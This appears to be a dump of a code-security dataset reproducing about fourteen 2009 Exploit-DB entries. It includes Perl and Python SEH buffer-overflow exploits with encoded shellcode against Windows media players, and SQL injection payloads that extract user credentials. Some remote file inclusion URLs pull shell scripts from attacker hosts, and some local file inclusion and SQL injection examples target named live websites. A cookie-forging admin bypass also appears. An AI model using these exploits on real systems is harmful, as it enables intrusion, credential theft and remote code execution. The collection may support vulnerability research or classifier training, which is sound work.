QLWD/code_shield huggingface dataset:
标题: AudioPLUS 2.00.215 - '.lst' / '.m3u' Local Buffer Overflow (SEH) EDB-ID: 9064 CVE: 2009-2363 2009-2362 类型: LOCAL 平台: WINDOWS 发布日期: 2009-07-01 漏洞利用脚本: #!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# AudioPLUS 2.00.215 (.m3u / .lst File) Local buffer Overflow (seh)
# # Greetz to all my friends
# form egypt
## easy :d
## Tested on: Windows XP Pro SP2 (EN)
################################################################
my $bof="\x41" x 4116;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xb8\x15\xd1\x72";
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
###################################################################
open(myfile,'>> hack4love.m3u');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-07-01] URL: https://www.exploit-db.com/exploits/9064
标题: MP3-Nator 2.0 - '.plf' Universal Buffer Overflow (SEH) EDB-ID: 9060 CVE: 2009-2364 类型: LOCAL 平台: WINDOWS 发布日期: 2009-07-01 漏洞利用脚本: #!/usr/bin/perl
#[+] Bug : Mp3-Nator 2.0 (plf) Universal Buffer Overflow Exploit (SEH)
#[+] Author : ThE g0bL!N
# # Greetz to all my friends
## Download:http://files.brothersoft.com/mp3_audio/players/mp3nator.zip
## Tested on: Windows XP Pro SP2 (Fr)
##########################################################
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $pad1="D_Z"; #trick track
my $junk="\x41" x (4100-length($shellcode));
my $jmp="\xE9\xF7\xEF\xFF\xFF";
my $next_seh="\xEB\xF9\x41\x42";
my $seh="\x9C\x29\x40\x00";
open(myfile,'>>exploit.plf');
print myfile $pad1.$shellcode.$junk.$jmp.$next_seh.$seh;

# milw0rm.com [2009-07-01] URL: https://www.exploit-db.com/exploits/9060
标题: MDPro Module CWGuestBook 2.1 - SQL Injection EDB-ID: 9056 CVE: 2009-2307 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-30 漏洞利用脚本: ######################################################################################
#                                                                                    #
# Author: Dante90, WaRWolFz Crew                                                     #
# Title: [0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90       #
# MSN: dante90.dmc4@hotmail.it                                                       #
# Web: www.warwolfz.org                                                              #
#                                                                                    #
######################################################################################

[0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90

[code]
http://www.victime_site.org/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--
[/code]

Example:
[code]
http://www.lacinium.com/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--
[/code]

# milw0rm.com [2009-06-30] URL: https://www.exploit-db.com/exploits/9056
标题: PEamp 1.02b - '.m3u' Local Buffer Overflow (PoC) EDB-ID: 9061 CVE: 2009-2384 类型: DOS 平台: WINDOWS 发布日期: 2009-07-01 漏洞利用脚本: # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
# #   PEamp 1.02b  (.M3U File) Local Stack Overflow POC                        ##
# #  Download: http://files.brothersoft.com/mp3_audio/players/mp3player.zip    ##
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
my $chars= "A" x 5000;
my $file="dz.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
# usage: amp.exe=> load playlist => dz.m3u => Boom !!! :)

# milw0rm.com [2009-07-01] URL: https://www.exploit-db.com/exploits/9061
标题: jax formmailer 3.0.0 - Remote File Inclusion EDB-ID: 9051 CVE: 2009-2378 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-30 漏洞利用脚本: --:remote file include:--
---------------------------------                  
script:Jax FormMailer 3.0.0
Release:01.06.2008
-
Author: ahmadbady
    
-----------------------------------------------------------------------
download from:http://www.jtr.de/scripting/php/formmailer/index_eng.html
   
-----------------------------------------------------------------------
dork:intitle:"Jax Formmailer - Administration"
-------------------------------------------
-------------------------------------------
xpl:

/path/modules/formmailer/formmailer.admin.inc.php?BASE_DIR[jax_formmailer]=http://site.com/shell.txt?

*******************************************

# milw0rm.com [2009-06-30] URL: https://www.exploit-db.com/exploits/9051
标题: BigACE 2.6 - 'cmd' Local File Inclusion EDB-ID: 9052 CVE: 2009-2379 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-30 漏洞利用脚本: -----------------:LFI:----------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------
script       : BIGACE 2.6
  
download  : http://garr.dl.sourceforge.net/sourceforge/bigace/bigace_2.6.zip
  
Author     : CWD@rBe
 
Special Thanks : www.cyber-warrior.org
 
***************************************************************************************************************
exploit:
 
http://127.0.0.1/public/index.php?cmd=../../../../../../../../boot.ini%00&id=-1_tsearch_len
 
example sites
 
1.http://my.slow.ccu.edu.tw/bigace/public/index.php?cmd=../../../../../../../../etc/passwd%00&id=-1_tsearch_len
 
2.http://www.tvoffenbach.net/public/index.php?cmd=../../../../../../../../etc/passwd%00&id=-1_tsearch_len
 
****************************************************************************************************************

# milw0rm.com [2009-06-30] URL: https://www.exploit-db.com/exploits/9052
标题: WordPress Plugin Related Sites 2.1 - Blind SQL Injection EDB-ID: 9054 CVE: 2009-2383 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-30 漏洞利用脚本: WordPress Plugin Related Sites 2.1 BlindSQLinj Vuln



http://wordpress.org/extend/plugins/related-sites/
/wp-content/plugins/related-sites/BTE_RW_webajax.php

eLwaux(c) 30.05.2009, uasc.org.ua


SQL-Inj

27:  $guid = $_POST['guid'];
28:  $click = $_POST['click'];
31:  $ref = $_SERVER["HTTP_REFERER"];
40:  if ($guid!="" && $click!="" && $hostname!="" && $ipaddr!="" && $ref!="") {
53:   $sql = "INSERT INTO $clicks_table_name (guid,click) VALUES ('$guid','$clickinfo')";
55:  }

exploit:
POST: guid = 0', (select concat_ws(0x3a,user_login,user_pass,user_nicename,user_email) from wp_users where ID>0 and user_status=0 limit 1 ) );-- 
POST: click = .
HTTP_REFERER = .

# milw0rm.com [2009-06-30] URL: https://www.exploit-db.com/exploits/9054
标题: phpMyBlockchecker 1.0.0055 - Insecure Cookie Handling EDB-ID: 9053 CVE: 2009-2382 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-30 漏洞利用脚本: ################################################################################################################
[+] phpMyBlockchecker 1.0.0055 Insecure Cookie Handling Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#################################################################################################################

[+] Download Script :
http://sourceforge.net/project/showfiles.php?group_id=116966&package_id=152150&release_id=326884

[+] Insecure Cookie Handling

 - Vulnerable code in admin.php

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC

    javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";
document.cookie = "1246371700; path=/";


#################################################################################################################

# milw0rm.com [2009-06-30] URL: https://www.exploit-db.com/exploits/9053
标题: TFM MMPlayer 2.0 - '.m3u'/'.ppl' Universal Buffer Overflow (SEH) EDB-ID: 9047 CVE: 2009-2566 类型: LOCAL 平台: WINDOWS 发布日期: 2009-06-30 漏洞利用脚本: #!/usr/bin/perl
#[+] Bug : TFM MMPlayer 2.0 (m3u/ppl) Universal Buffer Overflow Exploit (SEH)
#[+] Author : ThE g0bL!N
# # Greetz to all my friends
## Tested on: Windows XP Pro SP2 (Fr)
# Big Thnx :His0k4          
#Download:http://www.tfm.ro/mmplayer/download/mmplayer.zip
##########################################################
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $pad1="D_Z"; #trick track
my $junk="\x41" x (4088-length($shellcode));
my $jmp="\xE9\x03\xF0\xFF\xFF";
my $pad2="\x42"x 12;
my $next_seh="\xEB\xED\x41\x42";
my $seh="\xB4\x28\x40\x00";

open(myfile,'>>exploit.m3u');
print myfile $pad1.$shellcode.$junk.$jmp.$pad2.$next_seh.$seh;

# milw0rm.com [2009-06-30] URL: https://www.exploit-db.com/exploits/9047
标题: dm FileManager 3.9.4 - Remote File Inclusion EDB-ID: 9044 CVE: 2009-2399 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-29 漏洞利用脚本: #############################################################################################
[+] DM FileManager 3.9.4 Remote File Include Vulnerability
[+] Author : Septemb0x
[+] www.Cyber-Warrior.Org - Information Technology's World
[+] Greetz : BARCOD3 And All Friends...
[+] Dork : Yok Dork Mork :D
[+] Download Script : http://uploaded.to/file/3z84ie
[+] Product Site : http://www.dutchmonkey.com
#############################################################################################
[+] EXPLOIT;
[+] http://[sitename]/[path]/dm-albums/template/album.php?SECURITY_FILE=http://attackersite/shell.php
#############################################################################################
< ---- Note ---- >
H....R;
Sen Ã§ok Ã¼stÃ¼n zekaya sahip birisin,
emin olbilirsin, :D
Sql injection ile domain hackleyebilen tek lamersin, :D
ASP'de Rfi Bulmakta Birebirsin,
Ama GÃ¶rdÃ¼ÄŸÃ¼m En hÄ±yar Lamersin :D
Bu Kafiyelerde Bi TarafÄ±na Girsin ;)
Lol H....R :D
< ---- Note Finished ---- >

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9044
标题: Audio Article Directory - 'file' Remote File Disclosure EDB-ID: 9041 CVE: 2009-2397 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-29 漏洞利用脚本: #################################################################################################################
[+] Audio Article Directory Remote File Disclosure Vulnerability
[+] Discovered By ThE g0bL!N
Vendor:http://audioarticledirectory.com
#################################################################################################################
Poc
---
Download.php
<?
$file = "./".$_GET['file']; => one
 header('Content-Description: File Transfer');
           header('Content-Type: application/force-download');
           header("Content-Disposition: attachment; filename=\"".basename($file)."\";");
           header('Content-Length: ' . filesize($file));
@readfile($file) OR die(); => 2
?>
Exploit
----
http://victim/download.php?file=download.php
http://victim/download.php?file=./passwords.php
Demo
----
http://audioarticledirectory.com/demo/download.php?file=./passwords.php
################################################################################################################

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9041
标题: HT-MP3Player 1.0 - '.ht3' Universal Buffer Overflow (SEH) EDB-ID: 9038 CVE: 2009-2485 类型: LOCAL 平台: WINDOWS 发布日期: 2009-06-29 漏洞利用脚本: #usage: exploit.py
print "**************************************************************************"
print " HT-MP3Player 1.0 (.ht3) Universal Buffer Overflow (SEH)\n"
print " Original author: hack4love<=(my friend)\n"
print " Universal exploit : His0k4\n"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " greetz: All friends (DZ),sec-r1z.com\n"
print "**************************************************************************"
   
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x53\x4b\x48\x4e\x47"
"\x45\x30\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x54\x4a\x31\x4b\x38"
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x33\x4b\x48"
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x58\x42\x54\x42\x33\x45\x58\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x58\x42\x34\x4e\x50\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x46\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
"\x42\x35\x4a\x46\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x56\x43\x46\x42\x50\x5a")

payload =  "D_Z"   
payload += shellcode
payload += "\x41"*(4100-len(shellcode))
payload += "\xE9\xF7\xEF\xFF\xFF"
payload += "\x74\xF9\x42\x42"
payload += "\x8C\x27\x40\x00" #p/p/r HTMP3Player.exe

try:
    out_file = open("exploit.ht3",'w')
    out_file.write(payload)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9038
标题: WordPress Plugin DM Albums 1.9.2 - Remote File Inclusion EDB-ID: 9043 CVE: 2009-2396 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-29 漏洞利用脚本: #############################################################################################
[+] DM Albumsâ„¢ 1.9.2 & WordPress Plug-in Remote File Include Vulnerability
[+] Author : Septemb0x
[+] www.Cyber-Warrior.Org - Information Technology's World
[+] Greetz : BARCOD3 And All Friends...
[+] Dork : Yok Dork Mork :D
[+] Download Script : http://wordpress.org/extend/plugins/dm-albums/
#############################################################################################
[+] NORMAL EXPLOIT;
[+] http://[sitename]/[path]/template/album.php?SECURITY_FILE=http://attackersite/shell.php
[+] WORDPRESS EXPLOIT
[+] http://[sitename]/[path]/wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=http://attackersite/shell.php
#############################################################################################
< ---- Note ---- >
H....R;
Sen Ã§ok Ã¼stÃ¼n zekaya sahip birisin,
emin olbilirsin, :D
Sql injection ile domain hackleyebilen tek lamersin, :D
ASP'de Rfi Bulmakta Birebirsin,
Ama GÃ¶rdÃ¼ÄŸÃ¼m En hÄ±yar Lamersin :D
Bu Kafiyelerde Bi TarafÄ±na Girsin ;)
Lol H....R :D
< ---- Note Finished ---- >

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9043
标题: osTicket 1.6 RC4 - Admin Login Blind SQL Injection EDB-ID: 9032 CVE: 2009-2361 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-29 漏洞利用脚本: nGenuity Information Services - Security Advisory

   Advisory ID: NGENUITY-2009-007 osTicket Admin Login Blind SQL Injection
   Application: osTicket v1.6 RC4
        Vendor: osTicket
Vendor website: http://www.osticket.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

  I. BACKGROUND
    "osTicket is a widely-used open source support ticket system. It seamlessly
    integrates inquiries created via email and web-based forms into a simple
    easy to use multi-user web interface. Easily manage, organize and archive
    all your support requests and responses in one place while providing your
    clients with accountability and responsiveness they deserve." [1]

  II. DETAILS
    osTicket prior to v1.6 RC5 fails to validate / escape staff usernames which
    can be abused to execute a blind sql injection attack by an unauthenticated
    attacker.

    The vendor has provided a new release v1.6 RC5 which addresses this vulnerability.
    They have also provided patching instructions [2] should you be unable to perform
    a full upgrade at this time.

    One sample attack string might look similar to the following:
    '+(SELECT IF(SUBSTRING(passwd,1,1)=CHAR(48),BENCHMARK(1000000,SHA1(1)),0) passwd
    FROM ost_staff where staff_id=1) and '1'='1

  III. REFERENCES
    [1] - http://www.osticket.com
    [2] - http://osticket.com/forums/project.php?issueid=118

  IV. VENDOR COMMUNICATION
    3.25.2009 - Vulnerability Discovery
    3.25.2009 - Vendor notification & initial vendor response
    6.26.2009 - Vendor releases fix in osTicket v1.6 RC5 

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9032